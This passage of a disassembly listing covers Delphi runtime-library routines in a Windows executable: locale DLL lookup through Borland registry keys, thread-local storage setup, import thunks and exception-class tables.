[ebp+var_24F] push eax call sub_401118 ; lstrcpyn jmp loc_402C61 ; --------------------------------------------------------------------------- loc_402BC0: ; CODE XREF: sub_402AF4+170j lea eax, [esi+1] call sub_402AE0 mov edi, eax mov eax, edi sub eax, esi mov edx, eax add edx, ebx inc edx cmp edx, 105h jg loc_402C7E inc eax push eax push esi lea eax, [ebp+var_24F] add eax, ebx push eax call sub_401118 ; lstrcpyn lea eax, [ebp+var_14A] push eax lea eax, [ebp+var_24F] push eax call sub_4010E8 ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_402C7E push esi call sub_4010E0 ; FindClose lea eax, [ebp+var_11E] push eax call sub_401120 ; lstrlen lea edx, [ebx+1] add eax, edx inc eax cmp eax, 105h jg short loc_402C7E mov [ebp+ebx+var_24F], 5Ch mov eax, 105h sub eax, ebx dec eax push eax lea eax, [ebp+var_11E] push eax lea eax, [ebp+var_24F] add eax, ebx inc eax push eax call sub_401118 ; lstrcpyn lea eax, [ebp+var_11E] push eax call sub_401120 ; lstrlen inc eax add ebx, eax mov esi, edi loc_402C61: ; CODE XREF: sub_402AF4+C7j cmp byte ptr [esi], 0 jnz loc_402BC0 mov eax, [ebp+var_8] push eax lea eax, [ebp+var_24F] push eax mov eax, [ebp+var_4] push eax call sub_401118 ; lstrcpyn loc_402C7E: ; CODE XREF: sub_402AF4+63j ; sub_402AF4+77j ... mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402AF4 endp ; --------------------------------------------------------------------------- dword_402C88 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: sub_402AF4+18o aGetlongpathnam db 'GetLongPathNameA',0 ; DATA XREF: sub_402AF4+28o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402CAC proc near ; CODE XREF: sub_402A70+27p var_11D = byte ptr -11Dh var_18 = dword ptr -18h var_12 = byte ptr -12h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_B = byte ptr -0Bh var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEE0h push ebx push esi mov [ebp+var_4], eax push 105h lea eax, [ebp+var_11D] push eax push 0 call sub_401088 ; GetModuleFileNameA mov [ebp+var_12], 0 lea eax, [ebp+var_8] push eax push 0F0019h push 0 push offset aSoftwareBorlan ; "Software\\Borland\\Locales" push 80000001h call sub_401130 ; RegOpenKeyExA test eax, eax jz short loc_402D2F lea eax, [ebp+var_8] push eax push 0F0019h push 0 push offset aSoftwareBorlan ; "Software\\Borland\\Locales" push 80000002h call sub_401130 ; RegOpenKeyExA test eax, eax jz short loc_402D2F lea eax, [ebp+var_8] push eax push 0F0019h push 0 push offset aSoftwareBorl_0 ; "Software\\Borland\\Delphi\\Locales" push 80000001h call sub_401130 ; RegOpenKeyExA test eax, eax jnz loc_402DB8 loc_402D2F: ; CODE XREF: sub_402CAC+41j ; sub_402CAC+5Fj xor eax, eax push ebp push offset loc_402DB1 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_18], 5 lea eax, [ebp+var_11D] mov edx, 105h call sub_402AF4 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_12] push eax push 0 push 0 lea eax, [ebp+var_11D] push eax mov eax, [ebp+var_8] push eax call sub_401138 ; RegQueryValueExA test eax, eax jz short loc_402D96 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_12] push eax push 0 push 0 push offset dword_402F18 mov eax, [ebp+var_8] push eax call sub_401138 ; RegQueryValueExA test eax, eax jz short loc_402D96 mov [ebp+var_12], 0 loc_402D96: ; CODE XREF: sub_402CAC+C6j ; sub_402CAC+E4j mov [ebp+var_E], 0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_402DB8 loc_402DA7: ; CODE XREF: sub_402CAC+10Aj mov eax, [ebp+var_8] push eax call sub_401128 ; RegCloseKey retn ; --------------------------------------------------------------------------- loc_402DB1: ; DATA XREF: sub_402CAC+86o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_402DA7 ; --------------------------------------------------------------------------- loc_402DB8: ; CODE XREF: sub_402CAC+7Dj ; DATA XREF: sub_402CAC+F6o push 105h mov eax, [ebp+var_4] push eax lea eax, [ebp+var_11D] push eax call sub_401118 ; lstrcpyn push 5 lea eax, [ebp+var_D] push eax push 3 call sub_401100 ; GetThreadLocale push eax call sub_4010F0 ; GetLocaleInfoA xor esi, esi cmp [ebp+var_11D], 0 jz loc_402ED2 cmp [ebp+var_D], 0 jnz short loc_402DFF cmp [ebp+var_12], 0 jz loc_402ED2 loc_402DFF: ; CODE XREF: sub_402CAC+147j lea eax, [ebp+var_11D] push eax call sub_401120 ; lstrlen mov ebx, eax lea eax, [ebp+var_11D] add ebx, eax jmp short loc_402E18 ; --------------------------------------------------------------------------- loc_402E17: ; CODE XREF: sub_402CAC+179j dec ebx loc_402E18: ; CODE XREF: sub_402CAC+169j cmp byte ptr [ebx], 2Eh jz short loc_402E27 lea eax, [ebp+var_11D] cmp ebx, eax jnz short loc_402E17 loc_402E27: ; CODE XREF: sub_402CAC+16Fj lea eax, [ebp+var_11D] cmp ebx, eax jz loc_402ED2 inc ebx cmp [ebp+var_12], 0 jz short loc_402E64 mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax lea eax, [ebp+var_12] push eax push ebx call sub_401118 ; lstrcpyn push 2 push 0 lea eax, [ebp+var_11D] push eax call sub_401108 ; LoadLibraryExA mov esi, eax loc_402E64: ; CODE XREF: sub_402CAC+18Ej test esi, esi jnz short loc_402ED2 cmp [ebp+var_D], 0 jz short loc_402ED2 lea eax, [ebp+var_11D] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax lea eax, [ebp+var_D] push eax push ebx call sub_401118 ; lstrcpyn push 2 push 0 lea eax, [ebp+var_11D] push eax call sub_401108 ; LoadLibraryExA mov esi, eax test esi, esi jnz short loc_402ED2 mov [ebp+var_B], 0 lea eax, [ebp+var_11D] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax lea eax, [ebp+var_D] push eax push ebx call sub_401118 ; lstrcpyn push 2 push 0 lea eax, [ebp+var_11D] push eax call sub_401108 ; LoadLibraryExA mov esi, eax loc_402ED2: ; CODE XREF: sub_402CAC+13Dj ; sub_402CAC+14Dj ... mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_402CAC endp ; --------------------------------------------------------------------------- align 4 aSoftwareBorlan db 'Software\Borland\Locales',0 ; DATA XREF: sub_402CAC+30o ; sub_402CAC+4Eo align 4 aSoftwareBorl_0 db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_402CAC+6Co dword_402F18 dd 0 ; DATA XREF: sub_402CAC+D4o ; =============== S U B R O U T I N E ======================================= sub_402F1C proc near ; CODE XREF: sub_4030CC+5p mov edx, ds:off_409014 mov [eax], edx mov ds:off_409014, eax retn sub_402F1C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402F2C proc near ; CODE XREF: sub_4021FC+66p ; DATA XREF: DATA:off_40901Co push ebx push esi mov esi, eax mov ebx, ds:dword_409018 test ebx, ebx jz short loc_402F46 loc_402F3A: ; CODE XREF: sub_402F2C+18j mov eax, [esi+4] call dword ptr [ebx+4] mov ebx, [ebx] test ebx, ebx jnz short loc_402F3A loc_402F46: ; CODE XREF: sub_402F2C+Cj pop esi pop ebx retn sub_402F2C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402F4C proc near ; CODE XREF: sub_402824+C1p mov edx, [eax] test edx, edx jz short locret_402F60 mov dword ptr [eax], 0 push eax push edx mov eax, [edx] call dword ptr [eax+8] pop eax locret_402F60: ; CODE XREF: sub_402F4C+4j retn sub_402F4C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402F64 proc near ; CODE XREF: sub_402180+16p ; sub_404C74+2Ep ... var_408 = byte ptr -408h push ebx push esi add esp, 0FFFFFC00h mov esi, edx mov ebx, eax test ebx, ebx jz short loc_402FB1 cmp dword ptr [ebx+4], 10000h jge short loc_402FA7 push 400h lea eax, [esp+40Ch+var_408] push eax mov eax, [ebx+4] push eax mov eax, [ebx] mov eax, [eax] call sub_402AB8 push eax call sub_401110 ; LoadStringA mov ecx, eax mov edx, esp mov eax, esi call sub_4023D0 jmp short loc_402FB1 ; --------------------------------------------------------------------------- loc_402FA7: ; CODE XREF: sub_402F64+17j mov eax, esi mov edx, [ebx+4] call sub_4024B8 loc_402FB1: ; CODE XREF: sub_402F64+Ej ; sub_402F64+41j add esp, 400h pop esi pop ebx retn sub_402F64 endp ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp xor eax, eax push ebp push offset loc_402FF8 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A3D8 jnz short loc_402FEA cmp ds:dword_40A40C, 0 jz short loc_402FE4 call ds:dword_40A40C loc_402FE4: ; CODE XREF: CODE:00402FDCj call ds:off_409034 loc_402FEA: ; CODE XREF: CODE:00402FD3j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_402FFF loc_402FF7: ; CODE XREF: CODE:00402FFDj retn ; --------------------------------------------------------------------------- loc_402FF8: ; DATA XREF: CODE:00402FC2o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_402FF7 ; --------------------------------------------------------------------------- loc_402FFF: ; CODE XREF: CODE:loc_402FF7j ; DATA XREF: CODE:00402FF2o pop ebp retn ; --------------------------------------------------------------------------- align 4 dd 0A3D82D83h, 73010040h, 0E04EE823h, 0DCA3FFFFh, 0C70040A3h dd 40A00005h, 40296C00h, 0F90EE800h, 25E8FFFFh, 0A3FFFFE1h dd 40A030h, 408DC3h ; =============== S U B R O U T I N E ======================================= sub_403034 proc near ; CODE XREF: sub_403048+21p push eax push 40h call sub_401098 ; LocalAlloc retn sub_403034 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403040 proc near ; CODE XREF: sub_403048+1p mov eax, 8 retn sub_403040 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_403048 proc near ; CODE XREF: sub_40308C:loc_4030A6p push ebx call sub_403040 mov ebx, eax test ebx, ebx jz short loc_40308A cmp ds:TlsIndex, 0FFFFFFFFh jnz short loc_403067 mov eax, 0E2h call sub_4022D8 ; --------------------------------------------------------------------------- loc_403067: ; CODE XREF: sub_403048+13j mov eax, ebx call sub_403034 test eax, eax jnz short loc_40307E mov eax, 0E2h call sub_4022D8 ; --------------------------------------------------------------------------- jmp short loc_40308A ; --------------------------------------------------------------------------- loc_40307E: ; CODE XREF: sub_403048+28j push eax mov eax, ds:TlsIndex push eax call sub_4010A8 ; TlsSetValue loc_40308A: ; CODE XREF: sub_403048+Aj ; sub_403048+34j pop ebx retn sub_403048 endp ; =============== S U B R O U T I N E ======================================= sub_40308C proc near ; CODE XREF: sub_401234+20p ; CODE:0040128Fp ... mov cl, ds:byte_40A4BC mov eax, ds:TlsIndex test cl, cl jnz short loc_4030C1 mov edx, large fs:2Ch mov eax, [edx+eax*4] retn ; --------------------------------------------------------------------------- loc_4030A6: ; CODE XREF: sub_40308C+3Dj call sub_403048 mov eax, ds:TlsIndex push eax call sub_4010A0 ; TlsGetValue test eax, eax jz short loc_4030BB retn ; --------------------------------------------------------------------------- loc_4030BB: ; CODE XREF: sub_40308C+2Cj mov eax, ds:dword_40A4D0 retn ; --------------------------------------------------------------------------- loc_4030C1: ; CODE XREF: sub_40308C+Dj push eax call sub_4010A0 ; TlsGetValue test eax, eax jz short loc_4030A6 retn sub_40308C endp ; =============== S U B R O U T I N E ======================================= sub_4030CC proc near ; CODE XREF: sub_4030D8+2Ep mov eax, offset dword_409068 call sub_402F1C retn sub_4030CC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4030D8 proc near ; CODE XREF: CODE:004081C4p push ebx mov ebx, eax xor eax, eax mov ds:TlsIndex, eax push 0 call sub_401090 ; GetModuleHandleA mov ds:dword_40A4C8, eax mov eax, ds:dword_40A4C8 mov ds:dword_40906C, eax xor eax, eax mov ds:dword_409070, eax xor eax, eax mov ds:dword_409074, eax call sub_4030CC mov edx, offset dword_409068 mov eax, ebx call sub_402144 pop ebx retn sub_4030D8 endp ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp xor eax, eax push ebp push offset loc_403141 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A4CC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403148 loc_403140: ; CODE XREF: CODE:00403146j retn ; --------------------------------------------------------------------------- loc_403141: ; DATA XREF: CODE:00403122o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_403140 ; --------------------------------------------------------------------------- loc_403148: ; CODE XREF: CODE:loc_403140j ; DATA XREF: CODE:0040313Bo pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_40A4CC, 1 retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_403179 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A4D4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403180 loc_403178: ; CODE XREF: CODE:0040317Ej retn ; --------------------------------------------------------------------------- loc_403179: ; DATA XREF: CODE:0040315Ao jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_403178 ; --------------------------------------------------------------------------- loc_403180: ; CODE XREF: CODE:loc_403178j ; DATA XREF: CODE:00403173o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_40A4D4, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40318C proc near ; CODE XREF: sub_404E88+53p ; sub_404E88+7Cp jmp ds:dword_40B168 sub_40318C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403194 proc near ; CODE XREF: CODE:00408223p ; CODE:00408233p ... jmp ds:dword_40B164 sub_403194 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40319C proc near ; CODE XREF: sub_405D28+3Fp jmp ds:dword_40B160 sub_40319C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4031A4 proc near ; CODE XREF: sub_405D9C+19p jmp ds:dword_40B15C sub_4031A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4031AC proc near ; CODE XREF: sub_403FE4+21p jmp ds:dword_40B158 sub_4031AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4031B4 proc near ; CODE XREF: sub_404C00+1Ep ; sub_404C4C+13p ... jmp ds:dword_40B154 sub_4031B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4031BC proc near ; CODE XREF: CODE:004051ADp ; CODE:004051C8p ... jmp ds:dword_40B150 sub_4031BC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4031C4 proc near ; CODE XREF: sub_406320+6p ; sub_407CDC+43p jmp ds:dword_40B14C sub_4031C4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4031CC proc near ; CODE XREF: sub_406320+17p ; sub_406B18+A3p ... jmp ds:dword_40B148 sub_4031CC endp ; --------------------------------------------------------------------------- align 4 jmp ds:dword_40B144 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4031DC proc near ; CODE XREF: sub_405E14+F4p jmp ds:dword_40B140 sub_4031DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4031E4 proc near ; CODE XREF: sub_404CB0+1Cp ; sub_404E88+18p ... jmp ds:dword_40B13C sub_4031E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4031EC proc near ; CODE XREF: sub_405B58+Ep jmp ds:dword_40B138 sub_4031EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4031F4 proc near ; CODE XREF: sub_406B18+57p ; sub_406B18+7Bp ... jmp ds:dword_40B134 sub_4031F4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4031FC proc near ; CODE XREF: CODE:00405189p ; sub_4057C0+6Bp jmp ds:dword_40B130 sub_4031FC endp ; --------------------------------------------------------------------------- align 4 jmp ds:dword_40B12C ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40320C proc near ; CODE XREF: sub_405C64+Dp jmp ds:dword_40B17C sub_40320C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403214 proc near ; CODE XREF: sub_405E14+11Fp ; sub_405E14+130p jmp ds:dword_40B178 sub_403214 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40321C proc near ; CODE XREF: CODE:0040525Ep jmp ds:dword_40B174 sub_40321C endp ; --------------------------------------------------------------------------- align 4 jmp ds:dword_40B170 ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp xor eax, eax push ebp push offset loc_403251 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A4D8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403258 loc_403250: ; CODE XREF: CODE:00403256j retn ; --------------------------------------------------------------------------- loc_403251: ; DATA XREF: CODE:00403232o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_403250 ; --------------------------------------------------------------------------- loc_403258: ; CODE XREF: CODE:loc_403250j ; DATA XREF: CODE:0040324Bo pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_40A4D8, 1 retn ; --------------------------------------------------------------------------- off_403264 dd offset dword_40A4C8 ; DATA XREF: DATA:off_4092DCo dd 0FFF0h off_40326C dd offset dword_40A4C8 ; DATA XREF: DATA:off_4092D4o dword_403270 dd 0FFF1h, 40A4C8h, 0FFF2h, 40A4C8h, 0FFF3h, 40A4C8h, 0FFF4h ; DATA XREF: DATA:00409320o ; DATA:004093BCo dd 40A4C8h, 0FFF5h, 40A4C8h, 0FFF6h, 40A4C8h, 0FFF7h, 40A4C8h dd 0FFF8h, 40A4C8h, 0FFF9h, 40A4C8h, 0FFFAh, 40A4C8h, 0FFFBh dd 40A4C8h, 0FFFCh, 40A4C8h, 0FFFDh, 40A4C8h, 0FFFEh, 40A4C8h dd 0FFFFh dd offset dword_40A4C8 ; DATA XREF: DATA:off_409364o dword_4032E8 dd 0FFE0h, 40A4C8h, 0FFE1h ; DATA XREF: DATA:004093DCo dd offset dword_40A4C8 ; DATA XREF: DATA:off_4093B8o dword_4032F8 dd 0FFE2h, 40A4C8h, 0FFE3h, 40A4C8h, 0FFE4h, 40A4C8h, 0FFE5h ; DATA XREF: DATA:00409314o ; DATA:00409318o dd offset dword_40A4C8 ; DATA XREF: DATA:off_4093D8o dword_403318 dd 0FFE6h, 40A4C8h, 0FFE7h ; DATA XREF: DATA:004092D8o off_403324 dd offset dword_40A4C8 ; DATA XREF: DATA:off_4090CCo ; DATA:off_4092E8o dword_403328 dd 0FFE8h, 40A4C8h, 0FFE9h, 40A4C8h, 0FFEAh ; DATA XREF: DATA:off_4090D0o ; DATA:off_409328o ... dd offset dword_40A4C8 ; DATA XREF: DATA:off_4093E4o ; --------------------------------------------------------------------------- jmp short near ptr loc_403340+1 ; CODE XREF: CODE:loc_403340j ; --------------------------------------------------------------------------- align 4 dd offset dword_40A4C8 ; DATA XREF: DATA:off_40937Co dword_403348 dd 0FFECh, 40A4C8h, 0FFEDh, 40A4C8h, 0FFEEh, 40A4C8h, 0FFEFh ; DATA XREF: DATA:0040932Co ; DATA:0040939Co dd 40A4C8h, 0FFD0h, 40A4C8h, 0FFD1h dd offset dword_40A4C8 ; DATA XREF: DATA:off_4092ACo dd 0FFD2h dd offset dword_40A4C8 ; DATA XREF: DATA:off_409388o dword_403380 dd 0FFD3h, 40A4C8h, 0FFD4h, 40A4C8h, 0FFD5h ; DATA XREF: DATA:00409334o ; DATA:00409378o dd offset dword_40A4C8 ; DATA XREF: DATA:off_4093A8o dd 0FFD6h, 40A4C8h, 0FFD7h dd offset dword_40A4C8 ; DATA XREF: DATA:off_4093A0o dd 0FFD8h off_4033AC dd offset dword_40A4C8 ; DATA XREF: DATA:off_4090E4o ; DATA:off_4093D4o dword_4033B0 dd 0FFD9h, 40A4C8h, 0FFDAh, 40A4C8h, 0FFDBh, 40A4C8h, 0FFDCh ; DATA XREF: DATA:off_4090E8o ; DATA:off_40934Co ... dd 40A4C8h, 0FFDDh, 40A4C8h, 0FFDEh, 40A4C8h, 0FFDFh, 40A4C8h dd 0FFC0h, 40A4C8h, 0FFC1h, 40A4C8h, 0FFC2h, 40A4C8h, 0FFC3h dd 40A4C8h, 0FFC4h off_40340C dd offset dword_40A4C8 ; DATA XREF: DATA:off_409114o ; DATA:off_409330o dword_403410 dd 0FFC5h, 40A4C8h, 0FFC6h, 40A4C8h, 0FFC7h, 40A4C8h, 0FFC8h ; DATA XREF: DATA:off_409118o ; DATA:off_409298o ... dd 40A4C8h, 0FFC9h, 40A4C8h, 0FFCAh, 40A4C8h, 0FFCBh, 40A4C8h dd 0FFCCh, 40A4C8h, 0FFCDh, 40A4C8h, 0FFCEh, 40A4C8h, 0FFCFh dd 40A4C8h, 0FFB0h off_40346C dd offset dword_40A4C8 ; DATA XREF: DATA:off_409144o ; DATA:off_409370o dword_403470 dd 0FFB1h, 40A4C8h, 0FFB2h, 40A4C8h, 0FFB3h, 40A4C8h, 0FFB4h ; DATA XREF: DATA:off_409148o ; DATA:off_409390o ... dd 40A4C8h, 0FFB5h, 40A4C8h, 0FFB6h, 40A4C8h, 0FFB7h off_4034A4 dd offset dword_40A4C8 ; DATA XREF: DATA:off_409160o ; DATA:off_4092B8o dword_4034A8 dd 0FFB8h, 40A4C8h, 0FFB9h, 40A4C8h, 0FFBAh, 40A4C8h, 0FFBBh ; DATA XREF: DATA:off_409164o ; DATA:off_4092C4o ... dd 40A4C8h, 0FFBCh, 40A4C8h, 0FFBDh, 40A4C8h, 0FFBEh ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_403501 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A4DC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403508 loc_403500: ; CODE XREF: CODE:00403506j retn ; --------------------------------------------------------------------------- loc_403501: ; DATA XREF: CODE:004034E2o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_403500 ; --------------------------------------------------------------------------- loc_403508: ; CODE XREF: CODE:loc_403500j ; DATA XREF: CODE:004034FBo pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_40A4DC, 1 retn ; --------------------------------------------------------------------------- off_403514 dd offset dword_403560 ; DATA XREF: CODE:0040520Er ; sub_405A68+49r align 10h dd offset dword_403560 dd 4 dup(0) dd offset word_403572 dd 0Ch, 40100Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403560 dd 0Eh, 10000h, 10000000h, 40040h ; DATA XREF: CODE:off_403514o ; CODE:00403520o db 2 dup(0) word_403572 dw 4509h ; DATA XREF: CODE:00403534o dd 70656378h, 6E6F6974h, 4035C8h, 7 dup(0) dd offset dword_4035C8 dd 10h, 403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 405538h, 401A74h dword_4035C8 dd 6548450Eh, 78457061h, 74706563h, 906E6F69h ; DATA XREF: CODE:0040359Co off_4035D8 dd offset dword_403624 ; DATA XREF: sub_405A68+8r dd 7 dup(0) dd offset dword_403624 dd 10h, 40357Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 405538h, 401A74h dword_403624 dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; DATA XREF: CODE:off_4035D8o ; CODE:004035F8o off_403634 dd offset dword_403680 ; DATA XREF: sub_405564+2Dr ; sub_405564+4Cr dd 7 dup(0) dd offset dword_403680 dd 10h, 403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403680 dd 6E49450Bh, 4574754Fh, 726F7272h ; DATA XREF: CODE:off_403634o ; CODE:00403654o off_40368C dd offset dword_4036D8 ; DATA XREF: sub_40598C+90r dd 7 dup(0) dd offset dword_4036D8 dd 10h, 403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_4036D8 dd 78454509h, 6E726574h, 0C08B6C61h ; DATA XREF: CODE:off_40368Co ; CODE:004036ACo off_4036E4 dd offset dword_403730 ; DATA XREF: sub_40598C+82r dd 7 dup(0) dd offset dword_403730 dd 10h, 40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403730 dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h ; DATA XREF: CODE:off_4036E4o ; CODE:00403704o ... dd 403790h, 7 dup(0) dd offset aEinterrorlS7@ ; "\tEIntError7@" dd 10h, 40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h aEinterrorlS7@ db 9,'EIntError7@',0 ; DATA XREF: CODE:00403764o dd 7 dup(0) dd offset aEdivbyzeror@8@ ; "\nEDivByZero@8@" dd 10h, 403744h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h aEdivbyzeror@8@ db 0Ah ; DATA XREF: CODE:004037BCo ; DATA:off_4091B4o db 'EDivByZero@8@',0 dd 7 dup(0) dd offset aErangeerrors8@ ; "\vERangeError8@" dd 10h, 403744h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h aErangeerrors8@ db 0Bh,'ERangeError8@',0 ; DATA XREF: CODE:00403814o ; DATA:004091BCo dd 7 dup(0) dd offset dword_403898 dd 10h, 403744h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403898 dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h, 4038F4h, 7 dup(0) ; DATA XREF: CODE:0040386Co ; DATA:004091C4o dd offset aEmatherrorrl9@ ; "\nEMathErrorL9@" dd 10h, 40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h aEmatherrorrl9@ db 0Ah ; DATA XREF: CODE:004038C8o db 'EMathErrorL9@',0 dd 7 dup(0) dd offset aEinvalidoprd9@ ; "\nEInvalidOp9@" dd 10h, 4038A8h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h aEinvalidoprd9@ db 0Ah ; DATA XREF: CODE:00403920o ; DATA:004091CCo db 'EInvalidOp9@',0 dd 7 dup(0) dd offset dword_4039A4 dd 10h, 4038A8h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_4039A4 dd 655A450Bh, 69446F72h, 65646976h, 4039FCh, 7 dup(0) ; DATA XREF: CODE:00403978o ; DATA:004091D4o dd offset aEoverflowlT@ ; "\tEOverflowT:@" dd 10h, 4038A8h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h aEoverflowlT@ db 9,'EOverflowT:@',0 ; DATA XREF: CODE:004039D0o ; DATA:004091DCo dd 7 dup(0) dd offset dword_403A54 dd 10h, 4038A8h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403A54 dd 6E55450Ah, 66726564h, 90776F6Ch ; DATA XREF: CODE:00403A28o ; DATA:004091E4o off_403A60 dd offset dword_403AAC ; DATA XREF: sub_405A68+1Fr dd 7 dup(0) dd offset dword_403AAC dd 10h, 40357Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 405538h, 401A74h dword_403AAC dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh, 403B08h ; DATA XREF: CODE:off_403A60o ; CODE:00403A80o dd 7 dup(0) dd offset dword_403B08 dd 0Ch, 403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403B08 dd 6E49450Ch, 696C6176h, 73614364h, 408D74h ; DATA XREF: CODE:00403ADCo ; DATA:004091ECo off_403B18 dd offset dword_403B64 ; DATA XREF: sub_403F08+Fr dd 7 dup(0) dd offset dword_403B64 dd 0Ch, 403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 401A58h, 401A74h dword_403B64 dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_403B18o ; CODE:00403B38o off_403B74 dd offset dword_403BC0 ; DATA XREF: sub_4057C0+122r ; sub_4057C0+17Er dd 7 dup(0) dd offset dword_403BC0 dd 10h, 40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h dd 401A3Ch, 